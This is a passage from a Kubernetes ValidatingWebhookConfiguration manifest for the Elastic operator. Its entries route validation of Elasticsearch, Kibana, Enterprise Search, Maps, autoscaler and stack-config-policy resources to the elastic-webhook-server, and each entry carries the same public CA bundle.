      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURXVENDQWtHZ0F3SUJBZ0lRR1hqYmU3NmhuS0pma05VVVQ4WTNJVEFOQmdrcWhraUc5dzBCQVFzRkFEQTMKTVJnd0ZnWURWUVFMRXc5bGJHRnpkR2xqTFhkbFltaHZiMnN4R3pBWkJnTlZCQU1URW1Wc1lYTjBhV010ZDJWaQphRzl2YXkxallUQWVGdzB5TlRBNU1qTXhNakUxTURSYUZ3MHlOakE1TWpNeE1qSTFNRFJhTURjeEdEQVdCZ05WCkJBc1REMlZzWVhOMGFXTXRkMlZpYUc5dmF6RWJNQmtHQTFVRUF4TVNaV3hoYzNScFl5MTNaV0pvYjI5ckxXTmgKTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEzQTFqNXVzYkpnLy9PcDBQeVUySApEb1UyT2pDck1qRXVRWUtIY3ZxeGdCZjRMQjFDaXdSdGVydUFseWpmdFJVY3ZXOEwwNXZkckJjMHRqcFV5R0hrCmxlNHVDMzFIQzNKaUJUTmkyZ2w1ZnBWdTd2UGFraTNSTk5sQUplZE9rUjdQU2JaR1JlMG5aY1JiMHpHRjl1WmgKRkpJRTJWTU55ZDRid2dVWmZCMTJUd1JpSER4NFJiMHRJSURIbDhrcXJhQUV2OEZyWVVmaVN5UndjRnJyTFZwaQpHTHBJcDQyMk5DdTM0RjF5dk9oQzVNVjBJZ0t1aU9rK1ovdVZtRWdxSldqalJiZjczS3AwQ25KWURuaXYyWHdSClhrTkN0bG5ncUVlR3BRanhNMmlaUER6bmJIUkdTbEFvWENNRzEzWTlLTERzQndQK2wyaUdzNkdEZzFCeE9OMkEKclFJREFRQUJvMkV3WHpBT0JnTlZIUThCQWY4RUJBTUNBb1F3SFFZRFZSMGxCQll3RkFZSUt3WUJCUVVIQXdFRwpDQ3NHQVFVRkJ3TUNNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwT0JCWUVGS2UrKytOZE1obHJsT3NVCmJiTlZzQ2t3UEF1TU1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQ3BIMkdrOWtRa2QvS2dyT3ZJN2RDMlVnZUIKMTBBUlZnaGxZSHZWYlJuWTlTLy9XRVhMSkZvd2U5QjNFckpSRTVDZ0tCYUYzMHh1akFOcGgvS3BvNlI3ME1WbAp5bEFQK2xOSk01Uk9Kd2ZKMFkxK3dFZzlRT1ZxcDZVem91U1VQbEFTdDhGRitqT0tuNjBQN2I4Q3Mxako0ZWt3CjZLTGNVVldkVFBZQ2dicGhNaVFXYnVDUEVVb0phYk1STjNrbksreTNoN0owUkliOWNhaVdFWlU1TFB5SWJSUEgKSytha1hRdDQ2TWs5UlZJaWJoM1VmWUxZNmMySW90dUhyWnNINGFETjFWVm5LNGhHWFBvRXY3R2NHK0NyalVtVApjdjBuZTRVMk5oRnNaT1h0cTdVbFNYZi9abTgwcmgva2JrZXhZSHRtbk03SjJQM2h6TEE1MXQ0d2ZhMk4KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
      service:
        name: elastic-webhook-server
        namespace: elastic-system
        path: /validate-enterprisesearch-k8s-elastic-co-v1beta1-enterprisesearch
        port: 443
    failurePolicy: Ignore
    matchPolicy: Exact
    name: elastic-ent-validation-v1beta1.k8s.elastic.co
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - enterprisesearch.k8s.elastic.co
      apiVersions:
      - v1beta1
      operations:
      - CREATE
      - UPDATE
      resources:
      - enterprisesearches
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
  - admissionReviewVersions:
    - v1
    - v1beta1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURXVENDQWtHZ0F3SUJBZ0lRR1hqYmU3NmhuS0pma05VVVQ4WTNJVEFOQmdrcWhraUc5dzBCQVFzRkFEQTMKTVJnd0ZnWURWUVFMRXc5bGJHRnpkR2xqTFhkbFltaHZiMnN4R3pBWkJnTlZCQU1URW1Wc1lYTjBhV010ZDJWaQphRzl2YXkxallUQWVGdzB5TlRBNU1qTXhNakUxTURSYUZ3MHlOakE1TWpNeE1qSTFNRFJhTURjeEdEQVdCZ05WCkJBc1REMlZzWVhOMGFXTXRkMlZpYUc5dmF6RWJNQmtHQTFVRUF4TVNaV3hoYzNScFl5MTNaV0pvYjI5ckxXTmgKTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEzQTFqNXVzYkpnLy9PcDBQeVUySApEb1UyT2pDck1qRXVRWUtIY3ZxeGdCZjRMQjFDaXdSdGVydUFseWpmdFJVY3ZXOEwwNXZkckJjMHRqcFV5R0hrCmxlNHVDMzFIQzNKaUJUTmkyZ2w1ZnBWdTd2UGFraTNSTk5sQUplZE9rUjdQU2JaR1JlMG5aY1JiMHpHRjl1WmgKRkpJRTJWTU55ZDRid2dVWmZCMTJUd1JpSER4NFJiMHRJSURIbDhrcXJhQUV2OEZyWVVmaVN5UndjRnJyTFZwaQpHTHBJcDQyMk5DdTM0RjF5dk9oQzVNVjBJZ0t1aU9rK1ovdVZtRWdxSldqalJiZjczS3AwQ25KWURuaXYyWHdSClhrTkN0bG5ncUVlR3BRanhNMmlaUER6bmJIUkdTbEFvWENNRzEzWTlLTERzQndQK2wyaUdzNkdEZzFCeE9OMkEKclFJREFRQUJvMkV3WHpBT0JnTlZIUThCQWY4RUJBTUNBb1F3SFFZRFZSMGxCQll3RkFZSUt3WUJCUVVIQXdFRwpDQ3NHQVFVRkJ3TUNNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwT0JCWUVGS2UrKytOZE1obHJsT3NVCmJiTlZzQ2t3UEF1TU1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQ3BIMkdrOWtRa2QvS2dyT3ZJN2RDMlVnZUIKMTBBUlZnaGxZSHZWYlJuWTlTLy9XRVhMSkZvd2U5QjNFckpSRTVDZ0tCYUYzMHh1akFOcGgvS3BvNlI3ME1WbAp5bEFQK2xOSk01Uk9Kd2ZKMFkxK3dFZzlRT1ZxcDZVem91U1VQbEFTdDhGRitqT0tuNjBQN2I4Q3Mxako0ZWt3CjZLTGNVVldkVFBZQ2dicGhNaVFXYnVDUEVVb0phYk1STjNrbksreTNoN0owUkliOWNhaVdFWlU1TFB5SWJSUEgKSytha1hRdDQ2TWs5UlZJaWJoM1VmWUxZNmMySW90dUhyWnNINGFETjFWVm5LNGhHWFBvRXY3R2NHK0NyalVtVApjdjBuZTRVMk5oRnNaT1h0cTdVbFNYZi9abTgwcmgva2JrZXhZSHRtbk03SjJQM2h6TEE1MXQ0d2ZhMk4KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
      service:
        name: elastic-webhook-server
        namespace: elastic-system
        path: /validate-elasticsearch-k8s-elastic-co-v1-elasticsearch
        port: 443
    failurePolicy: Ignore
    matchPolicy: Exact
    name: elastic-es-validation-v1.k8s.elastic.co
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - elasticsearch.k8s.elastic.co
      apiVersions:
      - v1
      operations:
      - CREATE
      - UPDATE
      resources:
      - elasticsearches
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
  - admissionReviewVersions:
    - v1
    - v1beta1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURXVENDQWtHZ0F3SUJBZ0lRR1hqYmU3NmhuS0pma05VVVQ4WTNJVEFOQmdrcWhraUc5dzBCQVFzRkFEQTMKTVJnd0ZnWURWUVFMRXc5bGJHRnpkR2xqTFhkbFltaHZiMnN4R3pBWkJnTlZCQU1URW1Wc1lYTjBhV010ZDJWaQphRzl2YXkxallUQWVGdzB5TlRBNU1qTXhNakUxTURSYUZ3MHlOakE1TWpNeE1qSTFNRFJhTURjeEdEQVdCZ05WCkJBc1REMlZzWVhOMGFXTXRkMlZpYUc5dmF6RWJNQmtHQTFVRUF4TVNaV3hoYzNScFl5MTNaV0pvYjI5ckxXTmgKTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEzQTFqNXVzYkpnLy9PcDBQeVUySApEb1UyT2pDck1qRXVRWUtIY3ZxeGdCZjRMQjFDaXdSdGVydUFseWpmdFJVY3ZXOEwwNXZkckJjMHRqcFV5R0hrCmxlNHVDMzFIQzNKaUJUTmkyZ2w1ZnBWdTd2UGFraTNSTk5sQUplZE9rUjdQU2JaR1JlMG5aY1JiMHpHRjl1WmgKRkpJRTJWTU55ZDRid2dVWmZCMTJUd1JpSER4NFJiMHRJSURIbDhrcXJhQUV2OEZyWVVmaVN5UndjRnJyTFZwaQpHTHBJcDQyMk5DdTM0RjF5dk9oQzVNVjBJZ0t1aU9rK1ovdVZtRWdxSldqalJiZjczS3AwQ25KWURuaXYyWHdSClhrTkN0bG5ncUVlR3BRanhNMmlaUER6bmJIUkdTbEFvWENNRzEzWTlLTERzQndQK2wyaUdzNkdEZzFCeE9OMkEKclFJREFRQUJvMkV3WHpBT0JnTlZIUThCQWY4RUJBTUNBb1F3SFFZRFZSMGxCQll3RkFZSUt3WUJCUVVIQXdFRwpDQ3NHQVFVRkJ3TUNNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwT0JCWUVGS2UrKytOZE1obHJsT3NVCmJiTlZzQ2t3UEF1TU1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQ3BIMkdrOWtRa2QvS2dyT3ZJN2RDMlVnZUIKMTBBUlZnaGxZSHZWYlJuWTlTLy9XRVhMSkZvd2U5QjNFckpSRTVDZ0tCYUYzMHh1akFOcGgvS3BvNlI3ME1WbAp5bEFQK2xOSk01Uk9Kd2ZKMFkxK3dFZzlRT1ZxcDZVem91U1VQbEFTdDhGRitqT0tuNjBQN2I4Q3Mxako0ZWt3CjZLTGNVVldkVFBZQ2dicGhNaVFXYnVDUEVVb0phYk1STjNrbksreTNoN0owUkliOWNhaVdFWlU1TFB5SWJSUEgKSytha1hRdDQ2TWs5UlZJaWJoM1VmWUxZNmMySW90dUhyWnNINGFETjFWVm5LNGhHWFBvRXY3R2NHK0NyalVtVApjdjBuZTRVMk5oRnNaT1h0cTdVbFNYZi9abTgwcmgva2JrZXhZSHRtbk03SjJQM2h6TEE1MXQ0d2ZhMk4KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
      service:
        name: elastic-webhook-server
        namespace: elastic-system
        path: /validate-elasticsearch-k8s-elastic-co-v1beta1-elasticsearch
        port: 443
    failurePolicy: Ignore
    matchPolicy: Exact
    name: elastic-es-validation-v1beta1.k8s.elastic.co
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - elasticsearch.k8s.elastic.co
      apiVersions:
      - v1beta1
      operations:
      - CREATE
      - UPDATE
      resources:
      - elasticsearches
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
  - admissionReviewVersions:
    - v1
    - v1beta1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURXVENDQWtHZ0F3SUJBZ0lRR1hqYmU3NmhuS0pma05VVVQ4WTNJVEFOQmdrcWhraUc5dzBCQVFzRkFEQTMKTVJnd0ZnWURWUVFMRXc5bGJHRnpkR2xqTFhkbFltaHZiMnN4R3pBWkJnTlZCQU1URW1Wc1lYTjBhV010ZDJWaQphRzl2YXkxallUQWVGdzB5TlRBNU1qTXhNakUxTURSYUZ3MHlOakE1TWpNeE1qSTFNRFJhTURjeEdEQVdCZ05WCkJBc1REMlZzWVhOMGFXTXRkMlZpYUc5dmF6RWJNQmtHQTFVRUF4TVNaV3hoYzNScFl5MTNaV0pvYjI5ckxXTmgKTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEzQTFqNXVzYkpnLy9PcDBQeVUySApEb1UyT2pDck1qRXVRWUtIY3ZxeGdCZjRMQjFDaXdSdGVydUFseWpmdFJVY3ZXOEwwNXZkckJjMHRqcFV5R0hrCmxlNHVDMzFIQzNKaUJUTmkyZ2w1ZnBWdTd2UGFraTNSTk5sQUplZE9rUjdQU2JaR1JlMG5aY1JiMHpHRjl1WmgKRkpJRTJWTU55ZDRid2dVWmZCMTJUd1JpSER4NFJiMHRJSURIbDhrcXJhQUV2OEZyWVVmaVN5UndjRnJyTFZwaQpHTHBJcDQyMk5DdTM0RjF5dk9oQzVNVjBJZ0t1aU9rK1ovdVZtRWdxSldqalJiZjczS3AwQ25KWURuaXYyWHdSClhrTkN0bG5ncUVlR3BRanhNMmlaUER6bmJIUkdTbEFvWENNRzEzWTlLTERzQndQK2wyaUdzNkdEZzFCeE9OMkEKclFJREFRQUJvMkV3WHpBT0JnTlZIUThCQWY4RUJBTUNBb1F3SFFZRFZSMGxCQll3RkFZSUt3WUJCUVVIQXdFRwpDQ3NHQVFVRkJ3TUNNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwT0JCWUVGS2UrKytOZE1obHJsT3NVCmJiTlZzQ2t3UEF1TU1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQ3BIMkdrOWtRa2QvS2dyT3ZJN2RDMlVnZUIKMTBBUlZnaGxZSHZWYlJuWTlTLy9XRVhMSkZvd2U5QjNFckpSRTVDZ0tCYUYzMHh1akFOcGgvS3BvNlI3ME1WbAp5bEFQK2xOSk01Uk9Kd2ZKMFkxK3dFZzlRT1ZxcDZVem91U1VQbEFTdDhGRitqT0tuNjBQN2I4Q3Mxako0ZWt3CjZLTGNVVldkVFBZQ2dicGhNaVFXYnVDUEVVb0phYk1STjNrbksreTNoN0owUkliOWNhaVdFWlU1TFB5SWJSUEgKSytha1hRdDQ2TWs5UlZJaWJoM1VmWUxZNmMySW90dUhyWnNINGFETjFWVm5LNGhHWFBvRXY3R2NHK0NyalVtVApjdjBuZTRVMk5oRnNaT1h0cTdVbFNYZi9abTgwcmgva2JrZXhZSHRtbk03SjJQM2h6TEE1MXQ0d2ZhMk4KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
      service:
        name: elastic-webhook-server
        namespace: elastic-system
        path: /validate-ems-k8s-elastic-co-v1alpha1-mapsservers
        port: 443
    failurePolicy: Ignore
    matchPolicy: Exact
    name: elastic-ems-validation-v1alpha1.k8s.elastic.co
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - maps.k8s.elastic.co
      apiVersions:
      - v1alpha1
      operations:
      - CREATE
      - UPDATE
      resources:
      - mapsservers
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
  - admissionReviewVersions:
    - v1
    - v1beta1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURXVENDQWtHZ0F3SUJBZ0lRR1hqYmU3NmhuS0pma05VVVQ4WTNJVEFOQmdrcWhraUc5dzBCQVFzRkFEQTMKTVJnd0ZnWURWUVFMRXc5bGJHRnpkR2xqTFhkbFltaHZiMnN4R3pBWkJnTlZCQU1URW1Wc1lYTjBhV010ZDJWaQphRzl2YXkxallUQWVGdzB5TlRBNU1qTXhNakUxTURSYUZ3MHlOakE1TWpNeE1qSTFNRFJhTURjeEdEQVdCZ05WCkJBc1REMlZzWVhOMGFXTXRkMlZpYUc5dmF6RWJNQmtHQTFVRUF4TVNaV3hoYzNScFl5MTNaV0pvYjI5ckxXTmgKTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEzQTFqNXVzYkpnLy9PcDBQeVUySApEb1UyT2pDck1qRXVRWUtIY3ZxeGdCZjRMQjFDaXdSdGVydUFseWpmdFJVY3ZXOEwwNXZkckJjMHRqcFV5R0hrCmxlNHVDMzFIQzNKaUJUTmkyZ2w1ZnBWdTd2UGFraTNSTk5sQUplZE9rUjdQU2JaR1JlMG5aY1JiMHpHRjl1WmgKRkpJRTJWTU55ZDRid2dVWmZCMTJUd1JpSER4NFJiMHRJSURIbDhrcXJhQUV2OEZyWVVmaVN5UndjRnJyTFZwaQpHTHBJcDQyMk5DdTM0RjF5dk9oQzVNVjBJZ0t1aU9rK1ovdVZtRWdxSldqalJiZjczS3AwQ25KWURuaXYyWHdSClhrTkN0bG5ncUVlR3BRanhNMmlaUER6bmJIUkdTbEFvWENNRzEzWTlLTERzQndQK2wyaUdzNkdEZzFCeE9OMkEKclFJREFRQUJvMkV3WHpBT0JnTlZIUThCQWY4RUJBTUNBb1F3SFFZRFZSMGxCQll3RkFZSUt3WUJCUVVIQXdFRwpDQ3NHQVFVRkJ3TUNNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwT0JCWUVGS2UrKytOZE1obHJsT3NVCmJiTlZzQ2t3UEF1TU1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQ3BIMkdrOWtRa2QvS2dyT3ZJN2RDMlVnZUIKMTBBUlZnaGxZSHZWYlJuWTlTLy9XRVhMSkZvd2U5QjNFckpSRTVDZ0tCYUYzMHh1akFOcGgvS3BvNlI3ME1WbAp5bEFQK2xOSk01Uk9Kd2ZKMFkxK3dFZzlRT1ZxcDZVem91U1VQbEFTdDhGRitqT0tuNjBQN2I4Q3Mxako0ZWt3CjZLTGNVVldkVFBZQ2dicGhNaVFXYnVDUEVVb0phYk1STjNrbksreTNoN0owUkliOWNhaVdFWlU1TFB5SWJSUEgKSytha1hRdDQ2TWs5UlZJaWJoM1VmWUxZNmMySW90dUhyWnNINGFETjFWVm5LNGhHWFBvRXY3R2NHK0NyalVtVApjdjBuZTRVMk5oRnNaT1h0cTdVbFNYZi9abTgwcmgva2JrZXhZSHRtbk03SjJQM2h6TEE1MXQ0d2ZhMk4KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
      service:
        name: elastic-webhook-server
        namespace: elastic-system
        path: /validate-kibana-k8s-elastic-co-v1-kibana
        port: 443
    failurePolicy: Ignore
    matchPolicy: Exact
    name: elastic-kb-validation-v1.k8s.elastic.co
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - kibana.k8s.elastic.co
      apiVersions:
      - v1
      operations:
      - CREATE
      - UPDATE
      resources:
      - kibanas
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
  - admissionReviewVersions:
    - v1
    - v1beta1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURXVENDQWtHZ0F3SUJBZ0lRR1hqYmU3NmhuS0pma05VVVQ4WTNJVEFOQmdrcWhraUc5dzBCQVFzRkFEQTMKTVJnd0ZnWURWUVFMRXc5bGJHRnpkR2xqTFhkbFltaHZiMnN4R3pBWkJnTlZCQU1URW1Wc1lYTjBhV010ZDJWaQphRzl2YXkxallUQWVGdzB5TlRBNU1qTXhNakUxTURSYUZ3MHlOakE1TWpNeE1qSTFNRFJhTURjeEdEQVdCZ05WCkJBc1REMlZzWVhOMGFXTXRkMlZpYUc5dmF6RWJNQmtHQTFVRUF4TVNaV3hoYzNScFl5MTNaV0pvYjI5ckxXTmgKTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEzQTFqNXVzYkpnLy9PcDBQeVUySApEb1UyT2pDck1qRXVRWUtIY3ZxeGdCZjRMQjFDaXdSdGVydUFseWpmdFJVY3ZXOEwwNXZkckJjMHRqcFV5R0hrCmxlNHVDMzFIQzNKaUJUTmkyZ2w1ZnBWdTd2UGFraTNSTk5sQUplZE9rUjdQU2JaR1JlMG5aY1JiMHpHRjl1WmgKRkpJRTJWTU55ZDRid2dVWmZCMTJUd1JpSER4NFJiMHRJSURIbDhrcXJhQUV2OEZyWVVmaVN5UndjRnJyTFZwaQpHTHBJcDQyMk5DdTM0RjF5dk9oQzVNVjBJZ0t1aU9rK1ovdVZtRWdxSldqalJiZjczS3AwQ25KWURuaXYyWHdSClhrTkN0bG5ncUVlR3BRanhNMmlaUER6bmJIUkdTbEFvWENNRzEzWTlLTERzQndQK2wyaUdzNkdEZzFCeE9OMkEKclFJREFRQUJvMkV3WHpBT0JnTlZIUThCQWY4RUJBTUNBb1F3SFFZRFZSMGxCQll3RkFZSUt3WUJCUVVIQXdFRwpDQ3NHQVFVRkJ3TUNNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwT0JCWUVGS2UrKytOZE1obHJsT3NVCmJiTlZzQ2t3UEF1TU1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQ3BIMkdrOWtRa2QvS2dyT3ZJN2RDMlVnZUIKMTBBUlZnaGxZSHZWYlJuWTlTLy9XRVhMSkZvd2U5QjNFckpSRTVDZ0tCYUYzMHh1akFOcGgvS3BvNlI3ME1WbAp5bEFQK2xOSk01Uk9Kd2ZKMFkxK3dFZzlRT1ZxcDZVem91U1VQbEFTdDhGRitqT0tuNjBQN2I4Q3Mxako0ZWt3CjZLTGNVVldkVFBZQ2dicGhNaVFXYnVDUEVVb0phYk1STjNrbksreTNoN0owUkliOWNhaVdFWlU1TFB5SWJSUEgKSytha1hRdDQ2TWs5UlZJaWJoM1VmWUxZNmMySW90dUhyWnNINGFETjFWVm5LNGhHWFBvRXY3R2NHK0NyalVtVApjdjBuZTRVMk5oRnNaT1h0cTdVbFNYZi9abTgwcmgva2JrZXhZSHRtbk03SjJQM2h6TEE1MXQ0d2ZhMk4KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
      service:
        name: elastic-webhook-server
        namespace: elastic-system
        path: /validate-kibana-k8s-elastic-co-v1beta1-kibana
        port: 443
    failurePolicy: Ignore
    matchPolicy: Exact
    name: elastic-kb-validation-v1beta1.k8s.elastic.co
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - kibana.k8s.elastic.co
      apiVersions:
      - v1beta1
      operations:
      - CREATE
      - UPDATE
      resources:
      - kibanas
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
  - admissionReviewVersions:
    - v1
    - v1beta1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURXVENDQWtHZ0F3SUJBZ0lRR1hqYmU3NmhuS0pma05VVVQ4WTNJVEFOQmdrcWhraUc5dzBCQVFzRkFEQTMKTVJnd0ZnWURWUVFMRXc5bGJHRnpkR2xqTFhkbFltaHZiMnN4R3pBWkJnTlZCQU1URW1Wc1lYTjBhV010ZDJWaQphRzl2YXkxallUQWVGdzB5TlRBNU1qTXhNakUxTURSYUZ3MHlOakE1TWpNeE1qSTFNRFJhTURjeEdEQVdCZ05WCkJBc1REMlZzWVhOMGFXTXRkMlZpYUc5dmF6RWJNQmtHQTFVRUF4TVNaV3hoYzNScFl5MTNaV0pvYjI5ckxXTmgKTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEzQTFqNXVzYkpnLy9PcDBQeVUySApEb1UyT2pDck1qRXVRWUtIY3ZxeGdCZjRMQjFDaXdSdGVydUFseWpmdFJVY3ZXOEwwNXZkckJjMHRqcFV5R0hrCmxlNHVDMzFIQzNKaUJUTmkyZ2w1ZnBWdTd2UGFraTNSTk5sQUplZE9rUjdQU2JaR1JlMG5aY1JiMHpHRjl1WmgKRkpJRTJWTU55ZDRid2dVWmZCMTJUd1JpSER4NFJiMHRJSURIbDhrcXJhQUV2OEZyWVVmaVN5UndjRnJyTFZwaQpHTHBJcDQyMk5DdTM0RjF5dk9oQzVNVjBJZ0t1aU9rK1ovdVZtRWdxSldqalJiZjczS3AwQ25KWURuaXYyWHdSClhrTkN0bG5ncUVlR3BRanhNMmlaUER6bmJIUkdTbEFvWENNRzEzWTlLTERzQndQK2wyaUdzNkdEZzFCeE9OMkEKclFJREFRQUJvMkV3WHpBT0JnTlZIUThCQWY4RUJBTUNBb1F3SFFZRFZSMGxCQll3RkFZSUt3WUJCUVVIQXdFRwpDQ3NHQVFVRkJ3TUNNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwT0JCWUVGS2UrKytOZE1obHJsT3NVCmJiTlZzQ2t3UEF1TU1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQ3BIMkdrOWtRa2QvS2dyT3ZJN2RDMlVnZUIKMTBBUlZnaGxZSHZWYlJuWTlTLy9XRVhMSkZvd2U5QjNFckpSRTVDZ0tCYUYzMHh1akFOcGgvS3BvNlI3ME1WbAp5bEFQK2xOSk01Uk9Kd2ZKMFkxK3dFZzlRT1ZxcDZVem91U1VQbEFTdDhGRitqT0tuNjBQN2I4Q3Mxako0ZWt3CjZLTGNVVldkVFBZQ2dicGhNaVFXYnVDUEVVb0phYk1STjNrbksreTNoN0owUkliOWNhaVdFWlU1TFB5SWJSUEgKSytha1hRdDQ2TWs5UlZJaWJoM1VmWUxZNmMySW90dUhyWnNINGFETjFWVm5LNGhHWFBvRXY3R2NHK0NyalVtVApjdjBuZTRVMk5oRnNaT1h0cTdVbFNYZi9abTgwcmgva2JrZXhZSHRtbk03SjJQM2h6TEE1MXQ0d2ZhMk4KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
      service:
        name: elastic-webhook-server
        namespace: elastic-system
        path: /validate-autoscaling-k8s-elastic-co-v1alpha1-elasticsearchautoscaler
        port: 443
    failurePolicy: Ignore
    matchPolicy: Exact
    name: elastic-esa-validation-v1alpha1.k8s.elastic.co
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - autoscaling.k8s.elastic.co
      apiVersions:
      - v1alpha1
      operations:
      - CREATE
      - UPDATE
      resources:
      - elasticsearchautoscalers
      scope: '*'
    sideEffects: None
    timeoutSeconds: 10
  - admissionReviewVersions:
    - v1
    - v1beta1
    clientConfig:
      caBundle: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURXVENDQWtHZ0F3SUJBZ0lRR1hqYmU3NmhuS0pma05VVVQ4WTNJVEFOQmdrcWhraUc5dzBCQVFzRkFEQTMKTVJnd0ZnWURWUVFMRXc5bGJHRnpkR2xqTFhkbFltaHZiMnN4R3pBWkJnTlZCQU1URW1Wc1lYTjBhV010ZDJWaQphRzl2YXkxallUQWVGdzB5TlRBNU1qTXhNakUxTURSYUZ3MHlOakE1TWpNeE1qSTFNRFJhTURjeEdEQVdCZ05WCkJBc1REMlZzWVhOMGFXTXRkMlZpYUc5dmF6RWJNQmtHQTFVRUF4TVNaV3hoYzNScFl5MTNaV0pvYjI5ckxXTmgKTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEzQTFqNXVzYkpnLy9PcDBQeVUySApEb1UyT2pDck1qRXVRWUtIY3ZxeGdCZjRMQjFDaXdSdGVydUFseWpmdFJVY3ZXOEwwNXZkckJjMHRqcFV5R0hrCmxlNHVDMzFIQzNKaUJUTmkyZ2w1ZnBWdTd2UGFraTNSTk5sQUplZE9rUjdQU2JaR1JlMG5aY1JiMHpHRjl1WmgKRkpJRTJWTU55ZDRid2dVWmZCMTJUd1JpSER4NFJiMHRJSURIbDhrcXJhQUV2OEZyWVVmaVN5UndjRnJyTFZwaQpHTHBJcDQyMk5DdTM0RjF5dk9oQzVNVjBJZ0t1aU9rK1ovdVZtRWdxSldqalJiZjczS3AwQ25KWURuaXYyWHdSClhrTkN0bG5ncUVlR3BRanhNMmlaUER6bmJIUkdTbEFvWENNRzEzWTlLTERzQndQK2wyaUdzNkdEZzFCeE9OMkEKclFJREFRQUJvMkV3WHpBT0JnTlZIUThCQWY4RUJBTUNBb1F3SFFZRFZSMGxCQll3RkFZSUt3WUJCUVVIQXdFRwpDQ3NHQVFVRkJ3TUNNQThHQTFVZEV3RUIvd1FGTUFNQkFmOHdIUVlEVlIwT0JCWUVGS2UrKytOZE1obHJsT3NVCmJiTlZzQ2t3UEF1TU1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQ3BIMkdrOWtRa2QvS2dyT3ZJN2RDMlVnZUIKMTBBUlZnaGxZSHZWYlJuWTlTLy9XRVhMSkZvd2U5QjNFckpSRTVDZ0tCYUYzMHh1akFOcGgvS3BvNlI3ME1WbAp5bEFQK2xOSk01Uk9Kd2ZKMFkxK3dFZzlRT1ZxcDZVem91U1VQbEFTdDhGRitqT0tuNjBQN2I4Q3Mxako0ZWt3CjZLTGNVVldkVFBZQ2dicGhNaVFXYnVDUEVVb0phYk1STjNrbksreTNoN0owUkliOWNhaVdFWlU1TFB5SWJSUEgKSytha1hRdDQ2TWs5UlZJaWJoM1VmWUxZNmMySW90dUhyWnNINGFETjFWVm5LNGhHWFBvRXY3R2NHK0NyalVtVApjdjBuZTRVMk5oRnNaT1h0cTdVbFNYZi9abTgwcmgva2JrZXhZSHRtbk03SjJQM2h6TEE1MXQ0d2ZhMk4KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
      service:
        name: elastic-webhook-server
        namespace: elastic-system
        path: /validate-scp-k8s-elastic-co-v1alpha1-stackconfigpolicies
        port: 443
    failurePolicy: Ignore
    matchPolicy: Exact
    name: elastic-scp-validation-v1alpha1.k8s.elastic.co
    namespaceSelector: {}
    objectSelector: {}
    rules:
    - apiGroups:
      - stackconfigpolicy.k8s.elastic.co
      apiVersions:
      - v1alpha1
      operations:
      - CREATE
      - UPDATE
      resources:
      - stackconfigpolicies
      scope: '*'
    sideEffects: None
